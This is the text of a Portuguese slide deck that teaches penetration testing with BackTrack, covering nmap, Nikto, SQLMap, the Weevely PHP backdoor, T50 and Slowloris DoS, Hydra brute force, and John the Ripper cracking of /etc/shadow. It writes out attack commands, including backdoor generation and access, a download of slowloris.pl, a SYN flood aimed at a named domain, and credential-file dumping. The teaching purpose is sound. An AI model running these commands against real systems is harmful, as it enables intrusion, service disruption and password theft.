O documento discute técnicas de teste de penetração (pen test) utilizando a distribuição Backtrack Linux. Aborda ferramentas como Nmap, Nikto e SQLMap para varredura de portas e detecção de vulnerabilidades, além de Weevely e John the Ripper para exploração de backdoors e quebra de senhas respectivamente.
2. Objetivo:
Fornecer ao aluno uma visão geral sobre testes de
invasão
Entender a anatomia e os tipos diferentes de
ataques
Conhecer as fases de um teste de invasão
Conhecer as metodologias e os apectos legais
3. Visão:
O Teste de Invasão é um processo de
análise detalhada do nível de
segurança de um sistema ou rede
usando a perspectiva de um infrator.
O objetivo principal é simular de forma
controlada um ataque real que
normalmente é executado por criminosos.
4. Fases:
Os procedimentos realizados por um profissional
de teste de intrusão é similar aos realizados
pelos crackers, diferindo na intenção do ataque.
1. Levantamento de informações (nome,telefone,endereço)
2. Varredura (s.o,rede,serviços,firewall)
3. Ganhar acesso (brute force,trafego,web,vulnerabilidade)
4. Manter acesso (backdoor e rootkits)
5. Apagar rastro
5. Backtrack:
Backtrack é um sistema operacional linux baseado
no Ubuntu.
É focado em testes de seguranças e testes de
penetração (pen tests), muito apreciada por hackers
e analistas de segurança, podendo ser iniciado
diretamente pelo CD (sem necessidade de instalar
em disco), mídia removível (pendrive), máquinas
virtuais ou direto no disco rígido.
Fonte: http://pt.wikipedia.org/wiki/BackTrack
6. Backtrack:
Eleé a fusão de duas distribuições que eram bem
conhecidas na época:
- Whax e Auditor Security Collection
Eleito
em 2006 como a Distribuição Live de
Segurança número 1º em sua categoria
O BT possui mais de 300 ferramentas, que vão
desde teste de intrusão até Analise Forense Digital.
Versão atual é BackTrack 5 R3 Released! Aug 13,
2012
8. Nmap:
Nmap é um software livre que realiza port scan desenvolvido
pelo Gordon Lyon, autoproclamado hacker "Fyodor.
Realiza varredura de rede, buscando hosts ativos, portas
abertas e serviços sendo executados.
9. Nmap:
-sP
Ping scan: Algumas vezes é necessário saber se um
determinado host ou rede estáno ar.
Nmap pode enviar pacotes ICMP “echo request” para
verificar sedeterminado host ou
rede está ativa. Hoje em dia, existem muitos filtros
querejeitam os pacotes ICMP “echo
request”, então envia um pacote TCP ACK paraa porta 80
(default) e caso receba RST o
alvo está ativo. A terceira técnica enviaum pacote SYN e
espera um RST ou SYN-ACK.
Nmap –sP 192.168.1.254
Nmap –sP 192.168.1.0/24
10. Nmap:
TCP SYN scan: Técnica também conhecida como “half-open”,
pois não abre uma conexão TCP completa. É enviado um
pacote SYN, como se ele fosse uma conexão real e aguarda
uma resposta. Caso um pacote SYN-ACK seja recebido,
aporta está aberta, enquanto um como resposta indica que a
porta está fechada.
A vantagem dessa abordagem é que poucos irão detectar
esse scanning de portas.
Nmap –sS 192.168.1.254
Nmap –sS 192.168.1.0/24
11. Nmap:
-sT
TCP connect() scan: É a técnica mais básica de
TCP scanning. É utilizada a chamada de sistema
(system call) “connect()” que envia um sinal as
portas ativas. Caso a porta esteja aberta recebe
como resposta “connect()”. É um dos scan mais
rápidos, porém fácil de ser detectado
Nmap –sT 192.168.1.254
Nmap –sT 192.168.1.0/24
12. Nmap:
-sU
UDP scan: Este método é utilizado para determinar
qual porta UDP está aberta em um host. A técnica
consiste em enviar um pacote UDP de 0 byte para
cada portado host.
Se for recebido uma mensagem ICMP “port
unreachable” então a porta está fechada, senão a
porta pode estar aberta. Para variar um pouco, a
Microsoft ignorou a sugestão da RFC e com isso a
varredura de máquinas Windows é muito rápida.
Nmap –sU 192.168.1.254
13. Nmap:
-O
Ativa a identificação do host remoto via TCP/IP. Irá
apresentar versão do Sistema
Operacional e tempo ativo.
Ex.: nmap -O alvo
-v
Modo verbose. Mostra tudo o que está se
passando.
Ex.: nmap -v alvo
14. Nmap:
-F
Procura pelas portas que estão no /etc/services.
Método mais rápido, porém não procurar por todas
as portas.
Ex.: nmap -F alvo
-P0
Não tenta pingar o host antes de iniciar a
varredura. Isto permite varrer alvos que bloqueiam
ICMP “echo request (ou responses)” através de
firewall.
Ex.: nmap -P0 alvo
15. Xprobe2:
Xprobe2 analisa banners de sistemas
operacionais, comparando com um banco de
dados interno, onde compara-os e informa o S.O.
utilizado e a versão do mesmo.
Exemplo:
xprobe2 [host-name]
xprobe2 <ip>
16. Nikto :
Nikto é um script Perl usado para testar a
segurança de seu servidor web. Ele
faz a varredura em servidores Apache tanto em
busca de vulnerabilidades, quanto de falhas de
configuração.
Para atualizar e executar o Nikto, utilizamos os
seguintes comandos:
# ./nikto.pl -update
# ./nikto.pl -h 192.168.131.1 -o /192.168.131.1.txt
18. SQL Map :
“Sqlmap é uma ferramenta open source para
penetration test que automatiza o processo de
detecção e exploiting de vulnerabilidades a Sqli
Injection, é escrita em python e tem suporte tanto
GNU linux ou windows.”
O sqlmap além de oferecer as funções para
detectar e explorar as vulnerabilidades a SQLI, ele
consegue também tentar “dominar” o sistema de
banco de dados se for possivel.
19. SQL Map :
--help
Mostra as opções do SQLMAP
--current-db
Apresenta o banco de dados atual Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1"
--current-db
--banner
Pega o Banner do DBMS
Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" -b
--dbs
Lista os bancos de dados do DBMS Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
21. SQL Map :
--current-user
Apresenta o usuário ao qual a página está usando para se
conectar ao banco Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --current-
user
--is-dba
Verifica se o usuário atual é administrador do Banco
Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba
--users
Enumera todos os usuários
Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --users
--search
Varre o banco atrás do que você procura, pode ser um banco,
tabela ou coluna
Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --search –
C „pass‟
22. SQL Map :
--user-agent
Altera o nome do user Agent durante o ataque Exemplo:
./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1"
--user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)”
--level=1-5
Seta o nível de performance que ele irá utilizar para efetuar a
varredura
--risk=1-3
Seta o nível de risco de performance que o sqlmap efetuará
para a varredura
24. Weevely:
Weevely é um backdoor PHP discreto que simula
uma conexão telnet. É uma ferramenta essencial
para ser injetada após a exploração de uma
vulnerabilidade de uma aplicação web. Com uma
permissão básica para fazer upload de arquivos
PHP, você só precisa gerar e fazer o upload do
código do "servidor" PHP no alvo, e executado
localmente o Weevely transmiti comandos de shell.
25. Weevely:
Uso:
Gerando o Backdoor:
./weevely generate teste/tmp/back.php
# Cria um backdoor com a senha eSecurity na
pasta /tmp
./weevelyhttp://www.sitevul.com/back.php teste
# Acessa a shell utilizando a senha teste
26. DoS:
T50 ferramenta de desenvolvida por um brasileiro,
Nelson Brito, capaz de fazer ataques DoS e DDoS
usando o conceito de stress testing:
# ./t50 www.ofm.com.br --flood --turbo --dport
80 -S --protocol ICMP
./t50 192.168.1.105 --flood --turbo --dport 80 -S –
protocol
--flood
--turbo (Aumenta a performance)
-S (envia a flag SYN)
27. DoS:
Slowloris: Atacandos velhos apaches
# wget http://ha.ckers.org/slowloris/slowloris.pl
# chmod 777 slowloris.pl
Ele
funciona enviando, atraves de um
processo multi-thread, varias requisições
parciais ao servidor Web alvo
29. Hydra:
# hydra –l root -p toor –t 12 127.0.0.1 ssh
Ele irá efetuar um bruteforce com usuário root
com a senha toor com 12 threads no
loopback na porta SSH
# hydra –l root -P wordlist.txt –t 12 127.0.0.1 ssh
Ele irá efetuar um bruteforce com usuário root
com a senha buscando na wordlist.txt com
hydra -l teste -P wordlist 192.168.1.105 http-post-form "/verificar.php:login=^USER^&senha=^PASS^:Login e senha
incorretos"
30. Passwd:
O arquivo /etc/passwd contém informações sobre todos os
usuários, inclusive as suas senhas criptografadas. Ele é
legível por todos os usuários e, por isso, estas senhas podem
ser facilmente crackeadas. Para combater esta
vulnerabilidade foi desenvolvido o sistema de sombreamento
de senhas, os shadows passwords.
Quando o sistema de sombreamento de senhas está
disponível, o campo password do arquivo /etc/passwd é
substituído por um "x" e o password do usuário é
armazenado no arquivo /etc/shadow. Por esta razão o
/etc/shadow é legível somente pelo usuário root. Desta
maneira o arquivo /etc/shadow dificulta a ação de crackers.
32. John :
John the Ripper é um software para quebra de
senhas. Inicialmente desenvolvido para sistemas
unix-like, corre agora em vários sistemas
operativos (como DOS, Windows, Linux, BSD).
Disponível em versão livre e paga, o John the
Ripper é capaz fazer força bruta em senhas
cifradas em DES, MD4 e MD5 entre outras
Dicionário (Wordlist): sendo o modo mais
simples.
Quebra Simples (Single Crack): mais indicado
para início de uma quebra e mais rápido que
o wordlist
33. John :
Ferramenta: Unshadow
Utilizadapara unir os arquivos passwd e shadow
para posteriormente ser quebrada pelo John the
Ripper
Exemplo: ./unshadow /etc/passwd /etc/shadow >>
hash.db
Agora quebramos usando: ./john hash.db
34. John :
./johnsenhas.txt # O modo mais simples de se
usar o John é especificar o arquivo que tem as
senhas e usuário e deixar ele fazer tudo
automaticamente. Ele irá começar com o modo
single crack, depois irá passar para o modo
wordlist e finalmente irá passar para o modo
incremental.